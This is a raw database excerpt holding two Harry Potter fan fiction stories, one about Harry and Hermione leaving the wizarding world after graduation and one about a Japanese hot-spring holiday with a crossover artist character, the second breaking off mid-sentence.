	(101, 1, '\n\n\n\n<p>*Coming with you* </p>\n<p><br>\nBy Eric</p>\n<p><br>\n<br>\nHarry Potter looked toward the great castle that had been his home for seven years of his life. Seven glorious years that had made him happier than he could&#8217;ve ever had imagined. Those days were over now. Graduation had taken place just hours ago, and Harry was now officially an adult wizard. <br>\n<br>\n<br>\nHarry stared at the school with tears glistening in his eyes. Only days before, Harry had his final showdown with the evil Lord Voldemort and had finally triumphed once and for all. Voldemort was vanquished but at a terrible cost. Albus Dumbledore had been killed in the final duel, becoming the last of Voldemort&#8217;s victims whom included Rubeus Hagrid, Cedric Diggory, and Harry&#8217;s own parents Lily and James Potter. <br>\n<br>\n<br>\nA silent tear slipped down Harry&#8217;s face. It was all over, not just in terms of Harry&#8217;s enmity with Voldemort, or Harry&#8217;s magical education. Harry&#8217;s life in the magical society, or perhaps in any society was over. He was leaving, and intended to never come back. He was going to disappear off the face of the Earth, and not even say goodbye to his loved ones. Harry&#8217;s fame had been multiplied by his defeat of the Dark Lord and that along with his personal grievances had become too much to bear. He was leaving it all behind. <br>\n<br>\n<br>\nAnother tear fell as Harry mounted his broomstick. He had shrunk all of his belongs into a portable mode and had also transferred his Gringotts account into a muggle. He had even picked out a place to stay, somewhere secluded. There was nothing left but to leave. <br>\n<br>\n<br>\n&quot;Harry!&quot; <br>\n<br>\n<br>\nWhat&#8217;s that? He wondered. Harry thought he had just heard the voice of his best friend, Hermione. But he decided to ignore it. <br>\n<br>\n<br>\n&quot;Harry!&quot; <br>\n<br>\n<br>\nThere it is again, he thought. He shook his head. This was his mind playing tricks on him, trying to change his mind about leaving everything, especially Hermione behind. He was just about to take off... <br>\n<br>\n<br>\n&quot;Harry James Potter! Don&#8217;t even think about moving a muscle!&quot; <br>\n<br>\n<br>\nThis isn&#8217;t a trick, thought Harry. Indeed, Hermione Granger was right behind Harry, her frizzy brown hair in disarray and her breath short, clearly indicating that she had run all the way there. <br>\n<br>\n<br>\n&quot;How did you know?&quot; asked Harry. <br>\n<br>\n<br>\n&quot;Harry, we&#8217;ve been best friends for seven years. I could see what you were thinking.&quot; <br>\n<br>\n<br>\nDon&#8217;t look back now! Harry refused to look at Hermione and simply said, &quot;I&#8217;m leaving Hermione. You can&#8217;t stop me!&quot; <br>\n<br>\n<br>\n&quot;I&#8217;m not here to stop you, Harry.&quot; Harry made a double take. Those were not the words that he had expected to hear. But what was even more shocking were her next words: &quot;I&#8217;m coming with you.&quot; <br>\n<br>\n<br>\n&quot;What!&quot; Harry made the mistake of turning around and looking at Hermione&#8217;s face. Her beautiful brown eyes had tears rolling out of them but she had a light smile on her lips as she once again said: <br>\n<br>\n<br>\n&quot;I&#8217;m coming with you.&quot; <br>\n<br>\n<br>\n&quot;Hermione, no! I can&#8217;t let you throw your life away for me. You&#8217;ve got the highest grades in the whole school. Every company and industry has a position ready for you. You&#8217;ve got a bright future ahead, don&#8217;t throw it away!&quot; <br>\n<br>\n<br>\nHermione smiled again, tears still falling. &quot;All of that means nothing, Harry. My parents were killed a year ago. Ron and I have drifted two far apart after our disastrous relationship back in fifth year. You&#8217;re all I have left Harry.&quot; <br>\n<br>\n<br>\n&quot;Hermione, I...&quot; <br>\n<br>\n<br>\n&quot;You&#8217;re all I have left, Harry!&quot; said Hermione with strong determination. &quot;There is no way that I&#8217;m losing the one person I love more than anything, my best friend. There is no way I&#8217;m letting you abandon me and leave me alone! We&#8217;re too much a part of each other now, Harry! You are not leaving me!&quot; <br>\n<br>\n<br>\nHarry stared at Hermione for a minute, a look of determination on her face. Finally, Harry broke down and started to cry. Hermione also started crying and they pulled each other into a strong hug. <br>\n<br>\n<br>\n&quot;I have never been more luckier,&quot; said Harry between tears, &quot;to have a best friend like you. The one person who I love more than anybody. My one best friend who stuck with me, even when the world collapsed around me.&quot; <br>\n<br>\n<br>\nHermione said nothing. She simply cried more there in Harry&#8217;s arms. Wordlessly, she mounted the broomstick behind Harry and wrapped her arms around his waist. Harry took off and they flew away. <br>\n<br>\n<br>\nMeanwhile, at the castle, Sirius Black and Remus Lupin were hurrying through the corridors, hoping to get to Harry in time and convince him to stay. They caught sight of him flying away with Hermione. <br>\n<br>\n<br>\n&quot;Hurry,&quot; said Sirius. &quot;We can still catch up if we get some broomsticks.&quot; <br>\n<br>\n<br>\nThey tried to run over to the broom shed but were stopped by Ron Weasley. &quot;Ron, what are you doing?&quot; asked Remus. <br>\n<br>\n<br>\nRon looked up toward the speck that was his two best friends. He said in a grave voice so different from his usual tone, &quot;Harry and Hermione are going down their own path now. What right do we have to stop them?&quot; <br>\n<br>\n<br>\nThey were simple words, but enough to make the point. <br>\n<br>\n<br>\n* * * <br>\n<br>\n<br>\n<i>15 years later</i> <br>\n<br>\n<br>\nIt was the start of a new term at Hogwarts School of Witchcraft and Wizardry. The new first years were just filing into Great Hall, looking very nervous and scared. Auror Ron Weasley was visiting the school that day. He was chatting with his old friend, Herbology Professor Neville Longbottom when he caught he sight of one of the first years, a young boy with messy brown hair and emerald green eyes. The boy looked vaguely familiar to Ron but he couldn&#8217;t remember why. <br>\n<br>\n<br>\nDeputy Headmaster Severus Snape was doing the roll call, while frightening the first years out of their wits. The first years all sat under the Sorting Hat and were sorted into their houses. <br>\n<br>\n<br>\nWhen he gotten down to the P&#8217;s, Snape abruptly stopped as he stared down at the next name with a look that could only be called disdain. He took a breath and said, &quot;Potter, Jason.&quot; <br>\n<br>\n<br>\nThe Great Hall immediately quieted down as the brown haired, green-eyed boy strolled up to the Sorting Hat and put in on. It had been the first time anybody had heard of the Potters ever since Harry Potter had left the wizarding world straight after his graduation, 15 years ago. Ron realized with a pang that Jason Potter looked just like a brown haired Harry without the glasses and scar as the Hat shouted, &quot;Gryffindor!&quot; Jason smiled as he went to sit with the cheering Gryffindors. <br>\n<br>\n<br>\nAfter the feast had begun, Ron went up to the Gryffindor table. Jason caught sight of him and said, &quot;You&#8217;re Ron Weasley, right?&quot; <br>\n<br>\n<br>\nWhen Ron nodded, Jason pulled out a letter and said, &quot;My Mum and Dad wanted me to give this to you.&quot; <br>\n<br>\n<br>\nRon took the letter and started to read it: <br>\n<br>\n<br>\n<i>Dear Ron, <br>\n<br>\n<br>\nI just wanted to say that we&#8217;re doing fine and are quite well. For the fifteen years, we&#8217;ve been living as muggles in a place that I&#8217;m reluctant to tell. Its out in the country: very beautiful here. Although we weren&#8217;t intending to ever come back to the magical world, Jason&#8217;s acceptance to Hogwarts changed that and since we weren&#8217;t willing to deny him the joys of the school we called home for such a long time. Therefore, we&#8217;re entering the society again only briefly to introduce him to magic. You should&#8217;ve seen his face when we told him his parents were wizards. <br>\n<br>\n<br>\nWe&#8217;re sorry that we didn&#8217;t invite you to our wedding. It was a very beautiful affair, small and simple, just the two of us. We&#8217;re also very sorry for not telling you about Jason&#8217;s birth, or not telling anybody about anything. I simply ask that you don&#8217;t resent us for our decision to leave and hope that we can at least correspond with each other again with owl post. <br>\n<br>\n<br>\nLove, Your best friends, <br>\n<br>\nHarry and Hermione Potter</i> <br>\n<br>\n<br>\nRon smiled as he finished reading before he looked at Jason again. Jason was amicably talking with his friends and laughing at the antics of a couple of Gryffindor pranksters who were carrying on the tradition. Here was a little boy who had grown up in a completely different circumstance from his father. Here was little boy with no scar. <br>\n<br>\n<br>\nFin <br>\n</p>\n<p>~*~*~*~*~ <br>\n<br>\nThis is the way I envision the series to end.</p>\n\n'),
	(103, 1, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b style="mso-bidi-font-weight:normal">Perfect Beauty</b><br>\n<br>\nE. C. R. Potter<br>\n<br>\nSummary: Harry, Hermione, and the Weasleys vacation\nand Japan where\nthey meet an artist searching for the &#8220;Perfect Beauty&#8221;.<br>\n<br>\nDisclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros. Inc.,\nScholastic, Bloomsbury, Raincoast,\nand any other affiliated party.<br>\n<br>\nRuroni Kenshin was created\nby Nobuhiro Wazuki and belongs\nto him and Jump Comics Inc.<br>\n<br>\nA/N This story is based on a filler episode of &#8220;Ruroni Kenshin&#8221; I once watched.\nThis is dedicated to all the members of the HMS Pumpkin Pie.<br>\n<br>\n<br>\n<br>\n<b style="mso-bidi-font-weight:normal">Part 1</b><br>\n<br>\nIt was between the summer of the sixth and seventh\nyear of Harry and his friends at Hogwarts. Due to their successful business\nwith Weasley Wizard Wheezes, Fred and George Weasley had decided to treat their two younger siblings to\na three-week trip to the onsen, hot\nsprings of Japan.\nNaturally Harry and Hermione went with them. After all, it was their final\nsummer vacation, why not go all out and go to a foreign country to take some\nbaths?<br>\n<br>\nAnd so, it was for that very reason that British six people were riding on a muggle tourist bus that was heading toward Atami.<br>\n<br>\n&#8220;Oh, I&#8217;m so glad to be here,&#8221; said Hermione looking excited. They were on the\nbus and nearing the inn they were staying at. &#8220;Japan\nis a treasure trove of cultural magic. &#8216;Fantastic Beasts&#8217; lists Kappa, but\nthere are so many more magical creatures in Japan:\nthe oni, tengu, yokko, kamaitachi, yukionna, and maybe an occasional Chinese Fireball. And\ndon&#8217;t get me started about the ancient Japanese wizards, the Onmyoji. They&#8217;re diviners but...&#8221;<br>\n<br>\n&#8220;Oh gee, Hermione,&#8221; said Ron looking a little annoyed. &#8220;I just wanted to see a Quidditch game with the Toyohashi Tengus,\nnot get previews of the Japanese version of &#8216;Fantastic Beasts&#8217;.&#8221;<br>\n<br>\nHermione scowled at him while Harry laughed at the antics of his two friends.\nThis was the first time out of Britain\nfor him and he was really enjoying his vacation so far, especially because he\nwas with Hermione and the Weasleys.<br>\n<br>\n&#8220;Well chaps,&#8221; said Fred, &#8220;here we are.&#8221;<br>\n<br>\n&#8220;Come on, move it, move it,&#8221; said George as he ushered the younger teenagers\nout. The troupe picked up their luggage and got off the bus. They found\nthemselves outside a cozy Meiji era style inn. There were walls made of bamboo\nstalks that enclosed certain parts of the inn, and steam was rising from those\nenclosures. Hermione raised an eyebrow.<br>\n<br>\n&#8220;This place has rotenburo?&#8221; she asked. When the Fred\nand George looked confused she clarified, &#8220;Outdoors hot spring baths?&#8221;<br>\n<br>\n&#8220;That&#8217;s right,&#8221; said Fred with a sinister grin. Hermione glanced at the twins\napprehensively.<br>\n<br>\n&#8220;Oh don&#8217;t worry,&#8221; said George also with a grin. &#8220;We wouldn&#8217;t dream of spying on\nyou for the simple reason that Ginny would probably be with you.&#8221;<br>\n<br>\nHermione let out a breathe of relief while Ginny\nscowled and placed her fists on her hips. &#8220;What is that supposed to mean?&#8221; she\nasked.<br>\n<br>\n&#8220;Well, come on. We&#8217;d better check in,&#8221; said Harry. He led the others into the\ninn and made his way to the counter.<br>\n<br>\nA woman in her mid thirties was behind the counter. &#8220;Hello, do you have a\nreservation?&#8221; she asked in perfect English.<br>\n<br>\n&#8220;Reservations under Weasley,&#8221; said Fred.<br>\n<br>\n&#8220;Ah yes, Weasley-san. Dozo, kochirae.&#8221; The woman led them into\na traditional Japanese room that was eight tatami\nmats wide. &#8220;You may begin work right after you settle in,&#8221; said the woman.<br>\n<br>\n&#8220;Work?&#8221; questioned Harry, Hermione, Ron, and Ginny. They stared at Fred and\nGeorge who looked the other way and started whistling.<br>\n<br>\n&#8220;Yes work,&#8221; said the woman as if it were the most obvious thing in the world.\n&#8220;Your reservations were made under the conditions that you would work here in\nreturn for free room and boarding.&#8221;<br>\n<br>\nHarry, Hermione, Ron, and Ginny glared at Fred and George who were know wearing\nguilty smiles. &#8220;I am going to kill those two,&#8221; whispered Ginny.<br>\n<br>\n&#8220;I&#8217;ll gift wrap them for you,&#8221; said Ron.<br>\n<br>\n* * *<br>\n<br>\nAs it turned out, working for the onsen inn was\nactually quite enjoyable. The group only had to work three hours a day before\nthey had the whole day off. The primary job for Harry, Ron, Fred, and George\nwas to scrub and clean the onsen when nobody was\nusing them. All sixth of them, helped bring the meals down to\nthe dining room where they were allowed to have their meals with the other\nguests.<br>\n<br>\nHermione and Ginny primarily welcomed guests to the inn at the entrance and\nshowed them to their rooms. They absolutely loved wearing the attractive kimono\nthat was used for the job, and the fact that the inn used attractive British\ngirls for this job was good for business.<br>\n<br>\nIt happened six days after the British wizards had started working at the inn.\nA young Japanese man, who was clearly a college student, entered the inn. He\nhad some sketchbooks, paintbrushes, and pencils with him, showing clearly that\nhe was an artist.<br>\n<br>\n&#8220;Welcome, to the inn,&#8221; said Hermione and Ginny with their customary bow. &#8220;We\nare pleased that you have decided to stay with us. May we show you to your\nroom?&#8221;<br>\n<br>\nThe young man, who had been staring at the British girls snapped out of his\ntrance. He stuttered, &#8220;Uh...y-yes. Y-yes, please,&#8221; in broken\nEnglish.<br>\n<br>\n&#8220;Right this way, sir,&#8221; said a smiling Hermione as she and Ginny led the young\nman to his room. &#8220;If you want anything, please contact any one of us.&#8221;<br>\n<br>\nThe young artist slowly nodded as Hermione and Ginny returned to their job.\n&#8216;I&#8217;ve found her!&#8217; thought the artist. &#8216;I&#8217;ve finally found her after searching\nfor so long. I&#8217;ve found the &#8220;Perfect Beauty&#8221;.&#8217;<br>\n<br>\n<b style="mso-bidi-font-weight:normal">Part 2</b><br>\n<br>\nLater that evening, while the boys were scrubbing the floors of the men&#8217;s rotenburo, Hermione and Ginny were relaxing in the women&#8217;s rotenburo, wearing nothing but towels.<br>\n<br>\n&#8220;This is soooo relaxing,&#8221; sighed\nGinny feeling content.<br>\n<br>\n&#8220;Uuuuuuuum huuuuuuum,&#8221; mumbled\nHermione as she lowered herself deeper into the soothing warm water. &#8220;Feels\ngood,&#8221; she mumbled as she closed her eyes.<br>\n<br>\n&#8220;So, Hermione,&#8221; said Ginny with a devilish grin. &#8220;What exactly has been going\non between you and Harry recently?&#8221;<br>\n<br>\nHermione sat up straight as her eyes sprung open. &#8220;W-what?\nW-what are you talking a-about?&#8221;<br>\n<br>\n&#8220;Don&#8217;t deny it, Hermione. I&#8217;ve seen the looks you&#8217;ve been giving him recently, I used to give him those looks myself. You&#8217;ve got\nit bad for your emerald eyed best friend.&#8221;<br>\n<br>\n&#8220;I...I...I...don&#8217;t...I don&#8217;t...&#8221; Hermione couldn&#8217;t put together a coherent\nsentence as her face turned red from heat that did not come from the waters of\nthe hot spring.<br>\n<br>\nGinny grinned and moved closer to Herrmione. She\nwhispered, &#8220;You know, I&#8217;ve got a bit of a reputation as a match maker. I could\nset the two of you up for a private moment in one of these rotenburos.&#8221;<br>\n<br>\nHermione&#8217;s cheeks blushed. Before she could reply however, they heard a rustle\nin one of the trees hanging over the hotspring.<br>\n<br>\n&#8220;What was that?&#8221; asked Ginny, clearly startled.<br>\n<br>\n&#8220;It came from that tree,&#8221; said Hermione. She picked up a small stone and\nthrough it at the tree. The stone must&#8217;ve hit mark because there was suddenly a\nyelp and the young artist fell out of the tree into the hot spring with a\nsplash. His sketchbook also fell out of the tree but landed on the dry shore.<br>\n<br>\nFor a split second, Hermione and Ginny stared at the young artist. They then\ndid what most girls do when they realize they&#8217;d been caught bathing: they\nscreamed in terror.<br>\n<br>\nOf course, their screams reached the ears of Harry, Ron, Fred, and George who\nwere working in the nextdoor rotenburo.\nAnd what do Gryffindor boys do when they hear girls scream? They rush in, ready\nto protect the girls from whatever threat they had encountered. Of course, this\nmeant that Harry and the Weasley boys charged into\nthe women&#8217;s rotenburo with out thinking rationally,\nwhereupon they met a volley of buckets and stools being thrown by an angry\nGinny and Hermione. Harry managed to dodge most of them with his seeker skills\nbut they were still quite bruised when they dragged the young artist out of the\nhot spring.<br>\n<br>\n* * *<br>\n<br>\n&#8220;Gomenasai.\nSumimasen,&#8221; apologized the young artist. They were in\nthe room that the British wizard boys&#8217; were staying in and were currently\nstaying in. The young artist was on his knees begging for mercy at the hands of\nthe British who were glaring at him. &#8220;I was not spying on you two ojosan,&#8221; said the artist in relatively good English.<br>\n<br>\n&#8220;If you were not spying, care to explain what you were doing in that tree?&#8221;\ndemanded Ron. He, Fred and George looked like they were ready to murder this\nyoung artist for daring to spy on their little sister while she was bathing.<br>\n<br>\n&#8220;Ha-hai...yes, I will explain,&#8221; said the artist. &#8220;My\nname is Shintaro Kosugi. I\nam a mahoutsukai...a wizard and an artist. For years,\nI have been looking for something: a model for my portraits, the &#8216;Perfect\nBeauty&#8217;. I had finally found her, and I couldn&#8217;t resist starting my sketches of\nher, even if I had to climb a tree to observe her.&#8221; He handed the boys his\nsketchbook.<br>\n<br>\nGinny blushed red but she looked very ecstatic as she said, &#8220;Me? The &#8216;Perfect Beauty&#8217;? I&#8217;m flattered. But if you wanted to\ndraw a portrait of me, you could&#8217;ve just asked...&#8221;<br>\n<br>\n&#8220;Uh, Ginny,&#8221; said Ron while he and the other boys stared at the sketch.<br>\n<br>\n&#8220;Hmm?&#8221;<br>\n<br>\n&#8220;The model&#8217;s Hermione.&#8221;<br>\n<br>\n&#8220;Oh,&#8221; said Ginny looking disappointed. It was now Hermione&#8217;s turn to blush. She\nalso started to fidget.<br>\n<br>\n&#8220;M-me? I-I&#8217;m your p-perfect...beauty? B-but, I&#8217;m just\nthis bushy haired...nobody. I mean...how...how could you\nconsider me t-to be...&#8221; Before she could continue any further, Shintaro made his way over to in front of her, kneeled and\ntook her hand.<br>\n<br>\n&#8220;Hermione-san, you are the &#8216;Perfect Beauty&#8217;. Onegaishimus.\nPlease be the model for my portrait, and I promise you that I will draw you\nperfectly as the &#8216;Perfect Beauty&#8217;.&#8221;<br>\n<br>\nHermione was absolutely speechless. Harry came over, placed his hand on her\nshoulder and grinned.<br>\n<br>\n&#8220;Go for it, Hermione,&#8221; he said. &#8220;It&#8217;ll be a great experience, and besides, I&#8217;d\nlove to have a portrait of you.&#8221;<br>\n<br>\nHermione looked into Harry&#8217;s emerald eyes, still looking unsure. Finally, she\nsmiled and said, &#8220;All right, I&#8217;ll do it.&#8221;<br>\n<br>\n<b style="mso-bidi-font-weight:normal">Part 3</b><br>\n<br>\nSo Hermione became Shintaro&#8217;s model while he tried to\ndraw her portrait. Fred and George had suggested that she model nude but\nHermione wouldn&#8217;t hear of it; it was bad enough that Shintaro\nhad already sketched her while bathing. So she wore a sky blue yukata kimono and sat in a chair, facing out the window\nwhile Shintaro sketched her from the right side.<br>\n<br>\nHermione sat patiently while Shintaro sketched.\nEventually after an hour and a half, the first rough sketches were done. The Weasleys were the first ones to get to see them.<br>\n<br>\n&#8220;Amazing,&#8221; said Ginny. &#8220;These portraits of Hermione are absolutely beautiful.&#8221;<br>\n<br>\n&#8220;They sure are,&#8220; said Ron. &#8220;You know, Shintaro, you have a real talent. I mean, you can make the\nmost horrid looking absolutely stunning on paper.&#8221; Hermione, not missing Ron&#8217;s\ngist, picked up a discarded boken and whapped Ron on\nthe head.<br>\n<br>\n&#8220;Owe,&#8221; said Ron while rubbing his head. &#8220;Hermione, I was only kidding. And can\nsee just how good these sketches are, right?&#8221;<br>\n<br>\n&#8220;Yes,&#8221; sighed Hermione. She studied the sketches\nclosely and was amazed at their beauty. A part of her believed that the\nsketches were much more beautiful than she was. However, there was one person\nwho disagreed.<br>\n<br>\n&#8220;Chigau,&#8221; muttered Shintaro.\n&#8220;Chigau!\nChigau! No! No! NO! Korejanai!\nThis is not it!&#8221; In frustration, Shintaro tore the\nsketches up, much to the horror of the Weasleys.<br>\n<br>\n&#8220;What are you doing?&#8221; demanded Ginny. &#8220;Have you gone crazy?&#8221;<br>\n<br>\n&#8220;Well, did he just not tear up his own sketches? How could you say he&#8217;s not\ncrazy?&#8221; said Ron.<br>\n<br>\n&#8220;Chigau!&#8221; said Shintaro.\n&#8220;This is not it! I can&#8217;t draw it. I can&#8217;t draw Hermione-san&#8217;s,\n&#8216;Perfect Beauty&#8217;.&#8221;<br>\n<br>\n&#8220;So let me get this straight,&#8221; said Ron. &#8220;You can draw Hermione so bloody\nbeautiful and yet you still can&#8217;t capture this &#8216;Perfect Beauty&#8217;?&#8221;<br>\n<br>\n&#8220;There must be some way I can capture this inner &#8216;Perfect Beauty&#8217;,&#8221; said Shintaro while thinking. Suddenly, he dashed in front of\nHermione, got on one knee and took her hand. &#8220;Hermione-san, onegaishimasu,&#8221;\nhe said. &#8220;Please go out with me.&#8221;<br>\n<br>\n&#8220;What?&#8221; said Hermione looking completely startled. Ron\nand Ginny looked shocked while the twins looked delighted.<br>\n<br>\n&#8220;Onegaishimasu, Hermione-san. Please date me,&#8221; said Shintaro\nlooking very serious. &#8220;Perhaps if we go out, I could figure out what you inner\n&#8216;Perfect Beauty&#8217; is. And I also really like you as a person.&#8221;<br>\n<br>\nHermione was absolutely speechless. &#8220;I...I...I&#8217;m sorry. I...I...well I...&#8221;<br>\n<br>\nIt was at that moment that Harry was passing by outside, carrying the meals for\nsome of the guests that were staying at the inn. As luck would have, he lost\nhis balance on at the top of the stairs leading to the second floor and tumbled\ndown with a yelp.<br>\n<br>\nHermione looked toward the door hearing Harry&#8217;s yelp. &#8220;Harry!&#8221; She immediately\nsprang out the door and made her way to the bottom of the stairs where Harry\nwas sprawled out on the floor.<br>\n<br>\n&#8220;Harry are you alright?&#8221; she asked, kneeling right in\nfront of him.<br>\n<br>\nHarry groggily got up and grinned weakly. &#8220;Yeah, I&#8217;m alright,&#8221; he said. He\nwinced and said, &#8220;At least nothings broken.&#8221; Hermione gently took his head into\nher hands and checked for any bruises.<br>\n<br>\nMeanwhile upstairs, Shintaro was starring blankly at\nwhere Hermione had suddenly left. Ron and Ginny placed a hand on each of his\nshoulders.<br>\n<br>\n&#8220;Well, there you have it,&#8221; said Ron. &#8220;There&#8217;s the reason why you and Hermione\ncan&#8217;t date.&#8221;<br>\n<br>\n&#8220;Hermione is absolutely crazy about Harry,&#8221; said Ginny. &#8220;Not even the coming of\nJudgment Day could tear those two apart.&#8221;<br>\n<br>\n&#8220;Perfect Beauty,&#8221; mumbled Shintaro seemingly not\nhaving heard Ron and Ginny.<br>\n<br>\n&#8220;You know,&#8221; said Fred, &#8220;there just might be a way to get Hermione to like you.&#8221;<br>\n<br>\n&#8220;Really?&#8221; cried Shintaro, suddenly looking hopeful. &#8220;Hontodesuka?&#8221;<br>\n<br>\nRon and Ginny looked horrified. Before they could protest, George dragged them\ninto a huddle. &#8220;What&#8217;s the big idea!&#8221; hissed Ron.<br>\n<br>\n&#8220;Don&#8217;t worry,&#8221; said George. &#8220;This is just are way of showing that artist that\nHarry and Hermione are just meant for each other. Just trust us and have some\nfun.&#8221; He explained their plan and Ron and Ginny grudgingly agreed.<br>\n<br>\n&#8220;What is that I must do?&#8221; asked Shintaro looking\neager.<br>\n<br>\n&#8220;Oh not much,&#8221; said Fred while grinning. &#8220;Hermione likes strong men so all you\nhave to do is beat Harry in a duel.&#8221;<br>\n<br>\n&#8220;A duel. A duel. I&#8217;ll do it,&#8221;\nsaid Shintaro. He pulled out his wand. &#8220;Yarimasu!\nI&#8217;m not that good at magic but I&#8217;ll still do it for the &#8216;Perfect Beauty&#8217;!&#8221; He\nlooked very determined.<br>\n<br>\nFred grinned maliciously. &#8220;Oh by the way, in case you haven&#8217;t notice that scar\non his forehead, Harry happens to be Harry Potter. You know, the guy who&#8217;s\nbeaten You-know-who more times than anyone can count. If the average wizard or\nwitch were to challenge him, he or she would probably end up being completely\nslaughtered. No actually, slaughtered would probably be an understatement.&#8221; He\nslapped Shintaro on the back. &#8220;Well anyway, good luck\nwith that duel.&#8221; He and George left the room laughing followed by Ron and\nGinny. Shintaro was left behind looking very pale and\nshocked realizing he was about to go challenge Harry Potter to a duel.<br>\n<br>\n<b style="mso-bidi-font-weight:normal">Part 4</b><br>\n<br>\nFor the next few days, Shintaro\nsecretly followed Harry around, his wand always ready. He had decided that he\nwouldn&#8217;t stand a chance against Harry so he figured that he might have a chance\nof beating him if he caught him by surprise (apparently, he didn&#8217;t know that\nHarry was forbidden to do magic over the summer holidays). So Shintaro always, waited until the moment when Harry was off\nguard when he would suddenly spring forward and try to curse Harry. However, do\nto his excellent bludger avoiding skills,\nHarry always instinctively dodged whatever Shintaro\nthrew at him at the last minute. For his part, Harry was absolutely clueless as\nto why his bludger dodging instincts were coming into\nplay since he never actually saw Shintaro.<br>\n<br>\nAt one point, Shintaro decided to forget about a\nmagical attack and charged at Harry while he was drawing water out of a well.\nWithout even thinking, Harry simply stepped out of the way and Shintaro plummeted into the well.<br>\n<br>\nOne day, there was a matsuri festival in the town\nnearby the inn, and the British Wizards all went to it. Hoping to leave Harry\nand Hermione alone, the Weasleys all went their\nseparate ways to enjoy the high lights of the festival. Harry and Hermione had\nthe time of their lives either playing games at the game stalls (goldfish\nscoop, shooting gallery, etc.) or participating in the traditional Japanese\ndances. Finally, when it had become quite dark, they decided to go back to the\ninn.<br>\n<br>\nAs they were walking back, hand in hand under the stars, Harry glanced at\nHermione who looked particularly cute in her sky blue yukata\nkimono. Harry smiled and couldn&#8217;t help but think, &#8216;Shintaro&#8217;s\nright, she really is the &#8220;Perfect Beauty&#8221;.&#8217; Hermione meanwhile, in typical\nHermione fashion, was rambling on about the history of the town they were in.<br>\n<br>\n&#8220;It really is an old town,&#8221; she said while glancing up at the stars. &#8220;It dates\nback many centuries. I&#8217;ve been doing some research and I found out that the inn\nwe&#8217;re staying at is at least 300 years old.&#8221;<br>\n<br>\n&#8220;Oh really,&#8221; said Harry. &#8220;Well Miss Granger, if you&#8217;ve been doing some research\nthen tell me the names of at least five people who stayed at our inn in the\nyear...um...1879.&#8221;<br>\n<br>\nHermione did some quick thinking. &#8220;Hmm. Kamiya Kaoru,\nMyojin Yahiko, Himura Kenshin, Makimchi Misao, and Sagara Sanoske,&#8221; she said. &#8220;Well,\nhow&#8217;s that Mr. Potter?&#8221;<br>\n<br>\nHarry smiled at her. &#8220;You know Hermione, you really\nare an amazing witch.&#8221;<br>\n<br>\nMeanwhile, the Weasleys were spying on the two,\nhidden in some bushes nearby, waiting in anticipation for something to happen.<br>\n<br>\n&#8220;Come on Harry,&#8221; hissed Ron. &#8220;Tell her already! Show her! Do something!&#8221;<br>\n<br>\nHermione blushed and looked down toward the ground. &#8220;I&#8217;m not as amazing as you\nare.&#8221;<br>\n<br>\n&#8220;Of course, you are,&#8221; said Harry. &#8220;There has never been a witch like you. I&#8217;m\nserious.&#8221;<br>\n<br>\n&#8220;Really?&#8221; whispered Hermione. She looked up. Her chocolate eyes locked onto\nHarry&#8217;s emerald orbs and she felt like she was drowning in his beautiful pools\nof green. Slowly, much to the excitement of the Weasleys,\nHarry and Hermione leaned forward, their lips getting closer and closer and\ncloser...<br>\n<br>\nSuddenly, Harry heard a loud cry. His bludger dodging\ninstincts kicking in, Harry pulled Hermione and himself away as Shintaro charged forward in another one of his unsuccessful\nattacks. Missing his target, Shintaro lost his\nbalance and rolled into the nearby river.<br>\n<br>\n&#8220;What was that?&#8221; asked Harry. &#8220;A gust of wind?&#8221;<br>\n<br>\nHermione glanced down toward the river. &#8220;Isn&#8217;t that Sintaro?&#8221;\nHarry also looked toward the river and nodded.<br>\n<br>\nIt was at that moment, when weird green creatures, with plates of water on\ntheir heads. They started pulling a struggling Shintaro\ninto the deeper parts of the river.<br>\n<br>\n&#8220;Harry! Kappa!&#8221; shouted Hermione. Without a second thought, Harry flung himself\ninto the river, followed by the Weasleys. As quick as\nlightning, Harry pulled the kappa off of Shintaro.<br>\n<br>\n&#8220;Ron, Fred, George, get him up on the bank!&#8221; yelled Harry. The Weasleys pulled the unconscious Shintaro\nout of the river. The kappa now came ganging up on Harry. Harry readied himself\nto fight off the kappa physically if he had to.<br>\n<br>\n&#8220;Harry, third year, Lupin!&#8221; shouted Hermione. Harry\nsnapped his fingers as he remembered what Professor Lupin\nhad taught them back in their third year Defense against the Dark Arts class\nabout Kappa.<br>\n<br>\nWithout any thought of hesitation, Harry bowed politely. Caught in their usual\nhabits, the kappa also bowed and spilled the water that was in the plates on\ntheir heads. Thus, they lost their powers. Defeated, the kappa swam away from\nHarry, shrieking in frustration.<br>\n<br>\n<b style="mso-bidi-font-weight:normal">Part 5</b><br>\n<br>\nWhen Shintaro finally awoke, the first thing he saw\nwere the faces of for red heads, leaning over him.<br>\n<br>\n&#8220;Na...nani, what happened?&#8221; he asked.<br>\n<br>\n&#8220;Kappa,&#8221; said Ginny.<br>\n<br>\n&#8220;You fell into the river,&#8221; finished Ron.<br>\n<br>\nGroggily, Shintaro pulled himself up. &#8220;Hermione-san,&#8221;\nhe muttered. He glanced around and finally spotted her a bit of a distance away\nfrom them.<br>\n<br>\nHermione was kneeling in front of Harry who was sitting on a tree stump. She\nwas bandaging up Harry&#8217;s left hand, which had been scratched by the kappa.<br>\n<br>\n&#8220;You should really be more careful,&#8221; said Hermione looking a little worried.\n&#8220;Kappa can be dangerous if you don&#8217;t know what you&#8217;re doing.&#8221;<br>\n<br>\n&#8220;Well than, you have nothing to be worried about,&#8221; said Harry with a grin. He\nruffled Hermione&#8217;s brown curls and said, &#8220;So long as you&#8217;re with me, I&#8217;ll\nalways know what I&#8217;m doing, because you&#8217;ll be there to tell me.&#8221;<br>\n<br>\nHermione looked up at Harry and smiled.<br>\n<br>\n&#8220;Well there you have it,&#8221; said Ron. &#8220;Hermione and Harry are meant for each\nother, and nothing, and I mean nothing is going to\ntear them up,&#8221; he told Shintaro.<br>\n<br>\nShintaro&#8217;s breath was caught in his throat. &#8220;Perfect\nBeauty,&#8221; he whispered. &#8220;That is why, Hermione-san is\nthe &#8216;Perfect Beauty&#8217;. It is her love for Harry Potter-san that makes her the\n&#8216;Perfect Beauty&#8217;. That was why I wasn&#8217;t able to draw it.&#8221;<br>\n<br>\n* * *<br>\n<br>\nFinally, the stay at the inn was over. Before the troupe returned to England,\nthey were going to go on a tour of the major cities of Japan starting from:\nOsaka, followed by, Nagoya, Kobe, Kyoto, Nara, Hiroshima, Kita Kyushu,\nNagasaki, Kagoshima, Sapporo, 